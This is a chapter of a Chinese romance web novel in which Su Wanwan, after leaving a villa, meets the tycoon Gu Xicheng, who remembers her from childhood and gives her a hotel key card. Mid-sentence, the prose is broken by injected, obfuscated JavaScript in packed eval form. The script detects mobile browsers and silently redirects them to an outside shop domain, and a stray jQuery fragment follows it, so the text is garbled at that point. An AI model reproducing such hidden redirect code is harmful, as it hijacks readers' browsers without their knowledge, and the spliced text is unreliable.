路灯亮起来的时候，她刚刚走到龙首山脚。
苏晚晚在路口站了一会儿，没急着往上走。低头看了看自己的手——帆布袋的带子在掌心勒出一道红痕，不疼，但痕迹清晰。她把袋子换到另一只肩上，走进山道侧面的便利店，买了一瓶水。
收银台后面的电视正在播本地新闻。画面切换到一个酒店大堂的镜头，主持人说“顾氏集团总裁顾西城先生今晚下榻锦城凯悦酒店，据悉此行是考察本市旧改项目”。她付钱的时候抬头看了一眼——一个侧影，西装革履，正从旋转门走进来，身后跟着三四个人，步伐很快。她没多看，拿了找零和矿泉水，转身走出便利店。
山道上的路灯隔得很远，光线一截一截的，像是被人随手丢下的项链。她沿着柏油路往上走。行人很少，偶尔有一辆车从身边驶过，车灯扫过她身上的帆布袋和廉价T恤，没有停留。
她走到半山腰那栋熟悉的别墅门前时，停了下来。
铁门紧闭，监控摄像头的红灯在夜色里一闪一闪。院子里亮着灯，透过落地窗可以看到餐厅里的景象——傅衍之坐在长桌的一头，面前摆着一份摆盘精致的晚餐，对面坐着林婉儿。
林婉儿穿了件鹅黄色的连衣裙，是她常穿的某个奢侈品牌当季新款。她正侧着头跟傅衍之说什么，笑得很甜，弧度像用尺量过。傅衍之端起酒杯喝了一口，没有看她，目光落在手机屏幕上。
苏晚晚站在门外的阴影里，隔着那道铁门，看了几秒钟。
她想起今天下午在保险柜里看到的那份股权转让协议，想起那张秋姨给她的邮件截图。FD-97——那串数字在脑子里转了一圈，又被按了下去，像按一个刚熄灭的烟头。
她从口袋里掏出手机，打开备忘录，新建一条：“15号，傅宅”。想了想，又删掉。
该拍的已经拍了，该记的已经记了，不需要再写进这里。
苏晚晚把手机收好，转身往山下走。
刚走出七八步，身后传来一个声音：“太太？”
她站住，没回头。
脚步声从身后追上来，是老张。他换了一件灰色的夹克，手里提着一个塑料袋。他走到她侧面，犹豫了一下，把塑料袋递过来：“这是……您落下的。”
苏晚晚接过来。塑料袋里是一个饭盒，玻璃的，还温着。她打开盖子——白米饭，糖醋排骨，清炒西兰花。
“您晚上应该还没吃。”老张的声音低低的，“这盒饭，本来是我明天的午饭。”
苏晚晚看了他几秒。他的目光落在她手里的饭盒上，没有看她。手背上有几道烫伤的旧疤，指甲缝里嵌着一点泥土。
“谢谢张叔。”她说。
老张点了点头，没再说什么，转身走进铁门旁边的侧门。铁门合上，发出一声沉闷的“咔嗒”。
苏晚晚捧着那盒饭，站在原地没有动。夜风穿过山道，吹起她额前的碎发。她低头看着饭盒里那颗饱满的西兰花，喉咙紧了一下，咽了一口才缓解。
她没有立刻吃，把饭盒放进帆布袋里，继续往山下走。
走出一百多米的时候，她的脚步忽然顿住了。
一辆黑色的轿车停在路边。双闪灯没有开，引擎也没有声音，像是已经在那里停了很久。车窗贴了深色的膜，看不到里面的人。
苏晚晚本能地往路边靠了靠，加快脚步。
她经过那辆车的时候，后座的车窗缓缓降下来。
“苏小姐。”
那个声音不高，带着一点不明显的沙哑，像是刚说了很多话还没来得及喝水。但语调很稳，没有疑问，没有试探，像是一个已经确定了她身份的陈述句。
苏晚晚停住脚步。
她转过头。
车窗后面是一张脸——三十岁上下，轮廓很深，眼睛在路灯的暗光下显得格外沉。他没有笑，也没有动，只是看着她，像是看着一个隔了很久才重新出现在视野里的东西，需要确认它不是幻觉。
她认出了他。
一个小时前，她在便利店的电视上看到过这张侧脸。
顾西城。
他穿着一件深灰色的衬衫，袖口挽到小臂，露出一段线条分明的手腕。没有系领带，领口解开了一颗扣子，像是刚从一个正式场合出来——又不太像，那个姿态更像是卸下了某种装饰之后的放松。
“我记得你。”他说。
目光没有移开，落在她脸上，像是在拼凑一段久远的记忆。
苏晚晚没有说话。她握着帆布袋的带子，站在原地，与他对视。
“二十一年前，”他的声音很轻，像是怕惊动什么，“龙首山的花园里，一棵桂花树下。你递给我一颗糖，跟我说‘哥哥不哭’。”
苏晚晚的瞳孔缩了一下。
那个画面在今天傍晚闪过她的脑海——穿白裙子的女孩，红着眼睛的男孩，一大一小，站在一棵被风吹得沙沙响的桂花树下。她一直以为那是她饿晕了之后脑子自己编出来的。
“那颗糖，”顾西城说，“是水果味的，透明纸包装。我记得很清楚。”
他说这句话的时候，嘴角微微动了一下，像是一个被时间压得很薄的笑意。
苏晚晚不知道该说什么。她站在路灯的光与影交界处，风从山道下面吹上来，裹着湿润的草木气息。
“顾先生，”她开口，声音比自己预想的平静，“您怎么知道我在这里？”
顾西城没有回答这个问题。他的目光从她脸上移到她手里的帆布袋上，停了一下，又移回她的眼睛。
“你今天下午去过隐。”
苏晚晚的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741807|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身体微微僵了一下。他没有说是“听说”或是“有人告诉我”，而是直接确定了那个事实。
“秋姨跟我提起你，”顾西城的语气依然很淡，“她把你的事情说得很清楚。”
苏晚晚没有回应。手在帆布袋的带子上攥紧了，又松开。
“你打算去哪里？”
这个问题很普通，但他问得不像是随口一问。她看着他，判断不出来这句话背后的用意。
“不知道。”她说。
顾西城没有继续追问。他低下头，手指在方向盘上轻轻叩了两下，然后抬起来，从副驾驶座上拿起一个东西——一个黑色的皮质卡包，从车窗里递出来。
苏晚晚没接。
“拿着，”他说，“不是钱。是一张卡。”
“什么卡？”
“凯悦的房卡。”他的声音没有任何多余的情绪，“顶楼套房。楼下就是锦城最贵的地段，三面落地窗，坐在那里可以看清楚整座城市。”
苏晚晚看着那张卡包，没有动。
“你需要在安全的地方待一段时间，”顾西城的目光重新落在她脸上，沉沉的，“秋姨告诉过我，你手里有东西，需要在你真正决定怎么用之前，先想好退路。”
苏晚晚沉默了很久。
她低头看了看自己那身廉价的新衣服，帆布袋的带子被水浸过又在风里吹干了，结了一层硬硬的盐渍。她掐了掐盐渍的纹路，那种干燥的磨砺感反而让她安定了一些。
她抬起头，看着车窗里那双深不见底的眼睛。
“顾先生，”她的声音不高不低，每个字都很清楚，“你找了我二十一年，就是为了把房卡给我？”
顾西城没有回答。他只是看着她，目光稳得像一潭深水。
“二十一年，够一个人把承诺吃得透透的。”他说，“苏小姐，我欠你一个安置的地方。”
苏晚晚接过卡包的时候，指尖碰到他的手指，短暂的，冰凉的。她打开卡包，里面是一张黑色的房卡，没有酒店名称，只印着一串数字：2501。
她把它放进帆布袋里，拉上拉链，抬头看着他。
“车后座没人，”顾西城的声音很轻，“你坐上来。”
苏晚晚没有立刻动。她站在原地，看着那辆黑色的轿车熄着火，停在路灯的光晕里。
夜风从山道下面吹上来，带着雨后泥土的气味。她听到自己的心跳，平稳的，没有加快。
她拉开后座的车门，坐进去。
车门关上的时候，车内安静了片刻。他发动车子，引擎低沉地轰鸣了一声，缓缓驶离了山道。
苏晚晚靠在座椅上，目光落在车窗外流动的街景上。路灯一盏接一盏地退到身后，像是在丈量她与过去那三年之间的距离。
她没有回头。